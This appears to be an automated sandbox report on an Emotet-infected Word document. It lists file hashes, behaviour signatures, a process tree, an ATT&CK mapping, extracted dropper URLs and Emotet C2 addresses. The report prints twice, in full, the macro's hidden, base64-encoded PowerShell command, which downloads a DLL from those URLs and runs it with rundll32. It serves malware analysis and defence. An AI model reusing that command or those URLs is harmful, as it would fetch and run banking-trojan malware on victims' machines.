Overview

overview

10

Static

static

8

List Q955.doc

windows7_x64

10

List Q955.doc

windows10_x64

10

Analysis

  • max time kernel
    127s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    14-01-2021 01:54

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    List Q955.doc

  • Size

    198KB

  • MD5

    ec2fc480d23d8803fc4e8723fc0e4ab3

  • SHA1

    e14b802c44f55ad89024794683d5d828c0391687

  • SHA256

    b9aef94645ea110b4b94785205f26193c5626c9f73be4343db07594ab35e9816

  • SHA512

    49eb92ee53f13beafd56a1d7da181af5882fa86adab27c08a8f6b58689e4345e81cac9c589a14875b1e048b556e2cc41b1e4a60127bacacc0af3f1abceb0219e

Score
10/10
emotetepoch1bankertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://geisterhouse.com/cgi-bin/aJsk/
exe.dropper

http://degepro.com/eTrac/6XRo0/
exe.dropper

http://jespersen.org/carter/STvOz4/
exe.dropper

http://datawyse.net/MW7rFF/
exe.dropper

https://suhu.site/wp-admin/pm/
exe.dropper

http://wildtrust.mediadevstaging.com/wp-content/N/
exe.dropper

http://9jacology.com/dragon-quest-cxpij/2/

Extracted

Family

emotet

Botnet

Epoch1

C2

108.4.209.15:80

187.39.237.56:8080

167.71.148.58:443

211.215.18.93:8080

1.234.65.61:80

81.215.230.173:443

70.32.84.74:8080

212.71.237.140:8080

104.131.41.185:8080

138.97.60.140:8080

187.162.250.23:443

24.232.228.233:80

177.144.130.105:443

105.209.235.113:8080

202.134.4.210:7080

149.202.72.142:7080

200.24.255.23:80

217.13.106.14:8080

192.232.229.54:7080

46.105.114.137:8080
rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\List Q955.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1204
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABzAGUAVAAgACAANgAzAHEAZAAgACgAIABbAFQAWQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAxAH0AewAzAH0AewAyAH0AIgAgAC0AZgAgACcAcwAnACwAJwBEAGkAUgBlACcALAAnAHIAeQAnACwAJwBjAHQATwAnACwAJwBZAFMAVABlAE0ALgBJAE8ALgAnACkAIAAgACkAOwAgACAAJABnAFUAMAAgAD0AWwB0AFkAcABFAF0AKAAiAHsANQB9AHsANAB9AHsAMAB9AHsAMgB9AHsAMQB9AHsAMwB9AHsANgB9AHsANwB9ACIAIAAtAGYAJwBSACcALAAnAEMARQAnACwAJwB2AGkAJwAsACcAcAAnACwAJwB0AGUATQAuAG4AZQB0AC4AUwBlACcALAAnAHMAeQBzACcALAAnAE8ASQBuAFQATQAnACwAJwBhAE4AYQBHAGUAcgAnACkAIAA7ACAAJABFADkANQBpAG0AeABqAD0AKAAoACcATQBzACcAKwAnAGQAegA4ADkAJwApACsAJwB1ACcAKQA7ACQAWQBlAGQAMwBrADYAbQA9ACQAWgBmAGcAeAAyADAAeQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQATgBqAG0AYwBxADkAMQA7ACQARgA2AHcAbgBhAGQAXwA9ACgAKAAnAEQAOAAnACsAJwBuACcAKQArACgAJwBpAGkAYwAnACsAJwB0ACcAKQApADsAIAAgACQANgAzAFEAZAA6ADoAIgBDAGAAUgBlAEEAYABUAEUARABpAFIAZQBjAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAKAAnAEEAJwArACcAbwBwADYAJwArACcAMQBsACcAKQArACcAMwB7ACcAKwAnADAAfQBQADQAJwArACcAdQBzAGMAXwA4AHsAMAB9ACcAKQAgACAALQBGACAAWwBjAGgAQQBSAF0AOQAyACkAKQA7ACQARgBhAHMAOQA1AGoAcgA9ACgAJwBHAHQAJwArACgAJwAyAGQAawBoACcAKwAnAGMAJwApACkAOwAgACAAJABnAFUAMAA6ADoAIgBzAGUAQwB1AHIAYABpAGAAVAB5AFAAcgBgAE8AdABgAG8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAFUAZgByAGIAbQBoAHQAPQAoACgAJwBEACcAKwAnADMAdAAnACkAKwAoACcANgB2AHEAJwArACcAYwAnACkAKQA7ACQAUABqAHoAOQA2AF8AcQAgAD0AIAAoACcAVAAnACsAKAAnAHoANQAnACsAJwBwACcAKQArACgAJwBxADMAJwArACcAZQAnACkAKQA7ACQASwBvAGUAcgBuADgAZAA9ACgAKAAnAFcANAAnACsAJwBwACcAKQArACgAJwBjAHYAJwArACcAcgBsACcAKQApADsAJABOAHYANABiADEAeAB4AD0AKAAoACcATQBrACcAKwAnAG0AJwApACsAKAAnAHYAJwArACcAbwB5AGQAJwApACkAOwAkAEoAbQByAGcAYgBnADUAPQAkAEgATwBNAEUAKwAoACgAKAAnAGwAJwArACcAWgBrACcAKQArACcAQQAnACsAKAAnAG8AcAA2ADEAbAAnACsAJwAzACcAKwAnAGwAWgAnACkAKwAoACcAawAnACsAJwBQADQAdQAnACkAKwAnAHMAYwAnACsAKAAnAF8AOABsACcAKwAnAFoAawAnACkAKQAtAGMAcgBlAHAATABhAEMAZQAoACcAbAAnACsAJwBaAGsAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAagB6ADkANgBfAHEAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABCAHQAeQAwAGQAYgB1AD0AKAAoACcAUgAnACsAJwB3AF8AJwApACsAJwAzACcAKwAoACcAYQAnACsAJwBfADYAJwApACkAOwAkAEsAbAB4ADkANQB1AGcAPQBOAGUAdwAtAGAATwBiAEoAZQBgAGMAVAAgAE4ARQB0AC4AVwBFAEIAQwBMAEkAZQBuAHQAOwAkAEsAXwBsAHEAcwBhAHUAPQAoACgAKAAoACcAaAB0AHQAJwArACcAcAA6AEoAKQAnACkAKQArACcAKAAnACsAKAAoACcAMwBzADIAKQAoAEoAKQAnACsAJwAoACcAKQApACsAKAAoACcAMwBzADIAJwArACcAKQAoAGcAJwApACkAKwAnAGUAaQAnACsAJwBzACcAKwAoACcAdAAnACsAJwBlAHIAJwApACsAKAAnAGgAJwArACcAbwB1AHMAZQAuACcAKQArACgAJwBjACcAKwAnAG8AbQBKACcAKQArACgAKAAnACkAKAAzAHMAMgApACcAKwAnACgAJwArACcAYwAnACkAKQArACcAZwBpACcAKwAoACgAJwAtAGIAJwArACcAaQBuAEoAKQAnACkAKQArACcAKAAnACsAKAAoACcAMwAnACsAJwBzADIAKQAoACcAKQApACsAKAAoACcAYQBKAHMAawBKACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAAnACkAKQArACgAKAAnAHQAJwArACcAdABwACcAKwAnADoASgApACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEoAKQAnACkAKQArACcAKAAnACsAKAAoACcAMwBzADIAJwArACcAKQAoACcAKQApACsAJwBkACcAKwAoACcAZQBnAGUAJwArACcAcAByACcAKwAnAG8AJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKABlACcAKwAnAFQAcgAnACkAKQArACgAKAAnAGEAJwArACcAYwBKACkAKAAnACkAKQArACgAJwAzAHMAJwArACcAMgAnACkAKwAoACgAJwApACgAJwApACkAKwAoACcANgBYACcAKwAnAFIAbwAwACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACkAKABAACcAKwAnAGgAdAAnACsAJwB0AHAAJwApACkAKwAnADoAJwArACgAKAAnAEoAJwArACcAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAnACsAJwAoAEoAKQAoADMAJwArACcAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAGoAJwArACcAZQBzAHAAZQAnACkAKQArACcAcgBzACcAKwAnAGUAJwArACcAbgAuACcAKwAoACgAJwBvAHIAZwBKACkAKAAnACsAJwAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAYwAnACsAJwBhAHIAJwApACsAKAAoACcAdABlAHIASgApACcAKwAnACgAMwBzACcAKwAnADIAJwArACcAKQAoAFMAJwArACcAVAB2AE8AegAnACkAKQArACcANABKACcAKwAnACkAJwArACgAJwAoADMAcwAyACcAKwAnACkAJwApACsAKAAoACcAKABAACcAKQApACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACgAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABKACcAKQApACsAKAAoACcAKQAoADMAJwArACcAcwAyACcAKwAnACkAKABkAGEAdAAnACkAKQArACgAJwBhACcAKwAnAHcAeQBzAGUAJwArACcALgBuACcAKQArACcAZQB0ACcAKwAoACgAJwBKACkAJwArACcAKAAzACcAKwAnAHMAMgApACgATQAnACkAKQArACcAVwA3ACcAKwAnAHIAJwArACcARgAnACsAKAAoACcARgBKACkAJwArACcAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABAACcAKwAnAGgAJwArACcAdAAnACsAJwB0AHAAJwArACcAcwA6AEoAKQAnACsAJwAoADMAcwAyACkAKABKACcAKwAnACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAKAAnACsAJwBzAHUAJwArACcAaAB1AC4AcwBpAHQAZQBKACcAKwAnACkAJwArACcAKAAzACcAKwAnAHMAMgApACgAdwBwACcAKwAnAC0AYQBkAG0AaQAnACkAKQArACgAKAAnAG4ASgApACcAKwAnACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgAnACsAJwApACgAcABtAEoAKQAoADMAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoAEAAaAAnACsAJwB0ACcAKQApACsAKAAoACcAdABwADoASgAnACsAJwApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKABKACkAKAAnACsAJwAzAHMAJwApACkAKwAoACgAJwAyACkAKAB3ACcAKwAnAGkAJwArACcAbABkACcAKwAnAHQAcgB1AHMAdAAnACkAKQArACgAJwAuAG0AZQBkAGkAYQAnACsAJwBkAGUAdgBzACcAKwAnAHQAYQAnACsAJwBnAGkAbgAnACsAJwBnAC4AYwAnACsAJwBvAG0ASgAnACkAKwAoACgAJwApACgAMwAnACsAJwBzADIAKQAnACsAJwAoAHcAJwApACkAKwAoACcAcAAtAGMAbwBuACcAKwAnAHQAJwArACcAZQAnACkAKwAoACgAJwBuAHQAJwArACcASgApACgAMwAnACsAJwBzADIAKQAnACkAKQArACgAJwAoACcAKwAnAE4ASgApACcAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAMgApACgAQAAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoASgApACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwBKACkAJwArACcAKAAzAHMAMgApACgAOQBqAGEAJwArACcAYwBvAGwAJwArACcAbwBnAHkALgAnACkAKQArACgAKAAnAGMAbwBtAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGQAJwArACcAcgAnACsAJwBhAGcAJwApACkAKwAnAG8AbgAnACsAJwAtACcAKwAoACcAcQAnACsAJwB1AGUAJwApACsAJwBzAHQAJwArACcALQBjACcAKwAoACgAJwB4AHAAJwArACcAaQBqAEoAKQAoADMAJwArACcAcwAnACsAJwAyACkAJwArACcAKAAyAEoAKQAoADMAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoACcAKQApACkAKQAuACIAUgBlAHAAYABsAGAAQQBDAGUAIgAoACgAKAAnAEoAJwArACgAKAAnACkAKAAzAHMAMgAnACsAJwApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABKADQAOAA2AF8AYwBpACAAKwAgACQAWQBlAGQAMwBrADYAbQAgACsAIAAkAFQAbABfAGMAdgB0AHQAKQA7ACQAUwBwAGEAYwA1AG4AOQA9ACgAKAAnAEIAdABuAGUAJwArACcAeAA2ACcAKQArACcAMwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE0AOQBrAGEANABfADEAIABpAG4AIAAkAEsAXwBsAHEAcwBhAHUAIAB8ACAAUwBPAHIAVAAtAGAAbwBiAGAASgBFAGAAQwB0ACAAewBHAGAARQB0AC0AcgBhAGAATgBkAE8AbQB9ACkAewB0AHIAeQB7ACQASwBsAHgAOQA1AHUAZwAuACIAZABgAG8AYABXAG4ATABvAEEARABmAEkAYABMAEUAIgAoACQATQA5AGsAYQA0AF8AMQAsACAAJABKAG0AcgBnAGIAZwA1ACkAOwAkAEwAYwBoAHYAMgBqAGEAPQAoACgAJwBIADgAaAAnACsAJwAzACcAKQArACcAYgAnACsAJwBzAHkAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEoAbQByAGcAYgBnADUAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADMAMAA0ADcAKQAgAHsALgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAnACsAJwAyACcAKQAgACQASgBtAHIAZwBiAGcANQAsACcAIwAxACcALgAiAFQAYABPAFMAdABgAFIASQBOAEcAIgAoACkAOwAkAFUAYwB3ADAANABxAGIAPQAoACgAJwBLADUAcQAnACsAJwB6AGUAZQAnACkAKwAnADgAJwApADsAYgByAGUAYQBrADsAJABOAHgAcwBsADAAcQBxAD0AKAAnAEIAJwArACgAJwAzADkAJwArACcAZgBnAHEAJwArACcAdQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBiADcAMwBmAHQAeAA9ACgAJwBFACcAKwAoACcAMQBtACcAKwAnAHEAdgBsACcAKQArACcAZwAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IABzAGUAVAAgACAANgAzAHEAZAAgACgAIABbAFQAWQBQAEUAXQAoACIAewAwAH0AewA0AH0AewAxAH0AewAzAH0AewAyAH0AIgAgAC0AZgAgACcAcwAnACwAJwBEAGkAUgBlACcALAAnAHIAeQAnACwAJwBjAHQATwAnACwAJwBZAFMAVABlAE0ALgBJAE8ALgAnACkAIAAgACkAOwAgACAAJABnAFUAMAAgAD0AWwB0AFkAcABFAF0AKAAiAHsANQB9AHsANAB9AHsAMAB9AHsAMgB9AHsAMQB9AHsAMwB9AHsANgB9AHsANwB9ACIAIAAtAGYAJwBSACcALAAnAEMARQAnACwAJwB2AGkAJwAsACcAcAAnACwAJwB0AGUATQAuAG4AZQB0AC4AUwBlACcALAAnAHMAeQBzACcALAAnAE8ASQBuAFQATQAnACwAJwBhAE4AYQBHAGUAcgAnACkAIAA7ACAAJABFADkANQBpAG0AeABqAD0AKAAoACcATQBzACcAKwAnAGQAegA4ADkAJwApACsAJwB1ACcAKQA7ACQAWQBlAGQAMwBrADYAbQA9ACQAWgBmAGcAeAAyADAAeQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQATgBqAG0AYwBxADkAMQA7ACQARgA2AHcAbgBhAGQAXwA9ACgAKAAnAEQAOAAnACsAJwBuACcAKQArACgAJwBpAGkAYwAnACsAJwB0ACcAKQApADsAIAAgACQANgAzAFEAZAA6ADoAIgBDAGAAUgBlAEEAYABUAEUARABpAFIAZQBjAFQATwBSAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAKAAnAEEAJwArACcAbwBwADYAJwArACcAMQBsACcAKQArACcAMwB7ACcAKwAnADAAfQBQADQAJwArACcAdQBzAGMAXwA4AHsAMAB9ACcAKQAgACAALQBGACAAWwBjAGgAQQBSAF0AOQAyACkAKQA7ACQARgBhAHMAOQA1AGoAcgA9ACgAJwBHAHQAJwArACgAJwAyAGQAawBoACcAKwAnAGMAJwApACkAOwAgACAAJABnAFUAMAA6ADoAIgBzAGUAQwB1AHIAYABpAGAAVAB5AFAAcgBgAE8AdABgAG8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAFUAZgByAGIAbQBoAHQAPQAoACgAJwBEACcAKwAnADMAdAAnACkAKwAoACcANgB2AHEAJwArACcAYwAnACkAKQA7ACQAUABqAHoAOQA2AF8AcQAgAD0AIAAoACcAVAAnACsAKAAnAHoANQAnACsAJwBwACcAKQArACgAJwBxADMAJwArACcAZQAnACkAKQA7ACQASwBvAGUAcgBuADgAZAA9ACgAKAAnAFcANAAnACsAJwBwACcAKQArACgAJwBjAHYAJwArACcAcgBsACcAKQApADsAJABOAHYANABiADEAeAB4AD0AKAAoACcATQBrACcAKwAnAG0AJwApACsAKAAnAHYAJwArACcAbwB5AGQAJwApACkAOwAkAEoAbQByAGcAYgBnADUAPQAkAEgATwBNAEUAKwAoACgAKAAnAGwAJwArACcAWgBrACcAKQArACcAQQAnACsAKAAnAG8AcAA2ADEAbAAnACsAJwAzACcAKwAnAGwAWgAnACkAKwAoACcAawAnACsAJwBQADQAdQAnACkAKwAnAHMAYwAnACsAKAAnAF8AOABsACcAKwAnAFoAawAnACkAKQAtAGMAcgBlAHAATABhAEMAZQAoACcAbAAnACsAJwBaAGsAJwApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAagB6ADkANgBfAHEAKwAoACgAJwAuAGQAJwArACcAbAAnACkAKwAnAGwAJwApADsAJABCAHQAeQAwAGQAYgB1AD0AKAAoACcAUgAnACsAJwB3AF8AJwApACsAJwAzACcAKwAoACcAYQAnACsAJwBfADYAJwApACkAOwAkAEsAbAB4ADkANQB1AGcAPQBOAGUAdwAtAGAATwBiAEoAZQBgAGMAVAAgAE4ARQB0AC4AVwBFAEIAQwBMAEkAZQBuAHQAOwAkAEsAXwBsAHEAcwBhAHUAPQAoACgAKAAoACcAaAB0AHQAJwArACcAcAA6AEoAKQAnACkAKQArACcAKAAnACsAKAAoACcAMwBzADIAKQAoAEoAKQAnACsAJwAoACcAKQApACsAKAAoACcAMwBzADIAJwArACcAKQAoAGcAJwApACkAKwAnAGUAaQAnACsAJwBzACcAKwAoACcAdAAnACsAJwBlAHIAJwApACsAKAAnAGgAJwArACcAbwB1AHMAZQAuACcAKQArACgAJwBjACcAKwAnAG8AbQBKACcAKQArACgAKAAnACkAKAAzAHMAMgApACcAKwAnACgAJwArACcAYwAnACkAKQArACcAZwBpACcAKwAoACgAJwAtAGIAJwArACcAaQBuAEoAKQAnACkAKQArACcAKAAnACsAKAAoACcAMwAnACsAJwBzADIAKQAoACcAKQApACsAKAAoACcAYQBKAHMAawBKACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEAAaAAnACkAKQArACgAKAAnAHQAJwArACcAdABwACcAKwAnADoASgApACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEoAKQAnACkAKQArACcAKAAnACsAKAAoACcAMwBzADIAJwArACcAKQAoACcAKQApACsAJwBkACcAKwAoACcAZQBnAGUAJwArACcAcAByACcAKwAnAG8AJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKABlACcAKwAnAFQAcgAnACkAKQArACgAKAAnAGEAJwArACcAYwBKACkAKAAnACkAKQArACgAJwAzAHMAJwArACcAMgAnACkAKwAoACgAJwApACgAJwApACkAKwAoACcANgBYACcAKwAnAFIAbwAwACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACkAKABAACcAKwAnAGgAdAAnACsAJwB0AHAAJwApACkAKwAnADoAJwArACgAKAAnAEoAJwArACcAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAnACsAJwAoAEoAKQAoADMAJwArACcAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAGoAJwArACcAZQBzAHAAZQAnACkAKQArACcAcgBzACcAKwAnAGUAJwArACcAbgAuACcAKwAoACgAJwBvAHIAZwBKACkAKAAnACsAJwAzACcAKwAnAHMAMgApACgAJwApACkAKwAoACcAYwAnACsAJwBhAHIAJwApACsAKAAoACcAdABlAHIASgApACcAKwAnACgAMwBzACcAKwAnADIAJwArACcAKQAoAFMAJwArACcAVAB2AE8AegAnACkAKQArACcANABKACcAKwAnACkAJwArACgAJwAoADMAcwAyACcAKwAnACkAJwApACsAKAAoACcAKABAACcAKQApACsAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACgAJwBKACkAKAAzAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABKACcAKQApACsAKAAoACcAKQAoADMAJwArACcAcwAyACcAKwAnACkAKABkAGEAdAAnACkAKQArACgAJwBhACcAKwAnAHcAeQBzAGUAJwArACcALgBuACcAKQArACcAZQB0ACcAKwAoACgAJwBKACkAJwArACcAKAAzACcAKwAnAHMAMgApACgATQAnACkAKQArACcAVwA3ACcAKwAnAHIAJwArACcARgAnACsAKAAoACcARgBKACkAJwArACcAKAAnACkAKQArACgAKAAnADMAcwAyACkAKABAACcAKwAnAGgAJwArACcAdAAnACsAJwB0AHAAJwArACcAcwA6AEoAKQAnACsAJwAoADMAcwAyACkAKABKACcAKwAnACkAJwArACcAKAAzACcAKQApACsAKAAoACcAcwAyACkAKAAnACsAJwBzAHUAJwArACcAaAB1AC4AcwBpAHQAZQBKACcAKwAnACkAJwArACcAKAAzACcAKwAnAHMAMgApACgAdwBwACcAKwAnAC0AYQBkAG0AaQAnACkAKQArACgAKAAnAG4ASgApACcAKwAnACgAJwApACkAKwAoACgAJwAzACcAKwAnAHMAMgAnACsAJwApACgAcABtAEoAKQAoADMAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAoAEAAaAAnACsAJwB0ACcAKQApACsAKAAoACcAdABwADoASgAnACsAJwApACcAKQApACsAKAAoACcAKAAzACcAKwAnAHMAJwApACkAKwAoACgAJwAyACkAJwArACcAKABKACkAKAAnACsAJwAzAHMAJwApACkAKwAoACgAJwAyACkAKAB3ACcAKwAnAGkAJwArACcAbABkACcAKwAnAHQAcgB1AHMAdAAnACkAKQArACgAJwAuAG0AZQBkAGkAYQAnACsAJwBkAGUAdgBzACcAKwAnAHQAYQAnACsAJwBnAGkAbgAnACsAJwBnAC4AYwAnACsAJwBvAG0ASgAnACkAKwAoACgAJwApACgAMwAnACsAJwBzADIAKQAnACsAJwAoAHcAJwApACkAKwAoACcAcAAtAGMAbwBuACcAKwAnAHQAJwArACcAZQAnACkAKwAoACgAJwBuAHQAJwArACcASgApACgAMwAnACsAJwBzADIAKQAnACkAKQArACgAJwAoACcAKwAnAE4ASgApACcAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAMgApACgAQAAnACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoASgApACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwBKACkAJwArACcAKAAzAHMAMgApACgAOQBqAGEAJwArACcAYwBvAGwAJwArACcAbwBnAHkALgAnACkAKQArACgAKAAnAGMAbwBtAEoAKQAnACsAJwAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAGQAJwArACcAcgAnACsAJwBhAGcAJwApACkAKwAnAG8AbgAnACsAJwAtACcAKwAoACcAcQAnACsAJwB1AGUAJwApACsAJwBzAHQAJwArACcALQBjACcAKwAoACgAJwB4AHAAJwArACcAaQBqAEoAKQAoADMAJwArACcAcwAnACsAJwAyACkAJwArACcAKAAyAEoAKQAoADMAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoACcAKQApACkAKQAuACIAUgBlAHAAYABsAGAAQQBDAGUAIgAoACgAKAAnAEoAJwArACgAKAAnACkAKAAzAHMAMgAnACsAJwApACgAJwApACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwBoAHcAJwArACcAZQAnACkAKQBbADAAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABKADQAOAA2AF8AYwBpACAAKwAgACQAWQBlAGQAMwBrADYAbQAgACsAIAAkAFQAbABfAGMAdgB0AHQAKQA7ACQAUwBwAGEAYwA1AG4AOQA9ACgAKAAnAEIAdABuAGUAJwArACcAeAA2ACcAKQArACcAMwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE0AOQBrAGEANABfADEAIABpAG4AIAAkAEsAXwBsAHEAcwBhAHUAIAB8ACAAUwBPAHIAVAAtAGAAbwBiAGAASgBFAGAAQwB0ACAAewBHAGAARQB0AC0AcgBhAGAATgBkAE8AbQB9ACkAewB0AHIAeQB7ACQASwBsAHgAOQA1AHUAZwAuACIAZABgAG8AYABXAG4ATABvAEEARABmAEkAYABMAEUAIgAoACQATQA5AGsAYQA0AF8AMQAsACAAJABKAG0AcgBnAGIAZwA1ACkAOwAkAEwAYwBoAHYAMgBqAGEAPQAoACgAJwBIADgAaAAnACsAJwAzACcAKQArACcAYgAnACsAJwBzAHkAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEoAbQByAGcAYgBnADUAKQAuACIATABlAGAATgBHAHQASAAiACAALQBnAGUAIAAzADMAMAA0ADcAKQAgAHsALgAoACcAcgB1AG4AJwArACcAZABsAGwAMwAnACsAJwAyACcAKQAgACQASgBtAHIAZwBiAGcANQAsACcAIwAxACcALgAiAFQAYABPAFMAdABgAFIASQBOAEcAIgAoACkAOwAkAFUAYwB3ADAANABxAGIAPQAoACgAJwBLADUAcQAnACsAJwB6AGUAZQAnACkAKwAnADgAJwApADsAYgByAGUAYQBrADsAJABOAHgAcwBsADAAcQBxAD0AKAAnAEIAJwArACgAJwAzADkAJwArACcAZgBnAHEAJwArACcAdQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBiADcAMwBmAHQAeAA9ACgAJwBFACcAKwAoACcAMQBtACcAKwAnAHEAdgBsACcAKQArACcAZwAnACkA
        2⤵
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1368
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Aop61l3\P4usc_8\Tz5pq3e.dll #1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1928
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Aop61l3\P4usc_8\Tz5pq3e.dll #1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1252
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Aibr\upeyakg.lzv",RunDLL
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:1360

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Aop61l3\P4usc_8\Tz5pq3e.dll
      MD5

      931d8dbda7016d6a02163c39f0e16d72

      SHA1

      29aca919a04d2440c47006e84fc65df3b5e5813a

      SHA256

      f3a04a329b20e170ebd965482515d2f71083612c470370d32081542180ebd34c

      SHA512

      28d0a932015bacb7e851f6aeaeecf1935d612a248c66e58c513cdd418b34867bb48a4a22d388a71e28a7b8947d3ae25c4ef0afcbdd1d900a83d2db2456438304

      Download Submit
    • \Users\Admin\Aop61l3\P4usc_8\Tz5pq3e.dll
      MD5

      931d8dbda7016d6a02163c39f0e16d72

      SHA1

      29aca919a04d2440c47006e84fc65df3b5e5813a

      SHA256

      f3a04a329b20e170ebd965482515d2f71083612c470370d32081542180ebd34c

      SHA512

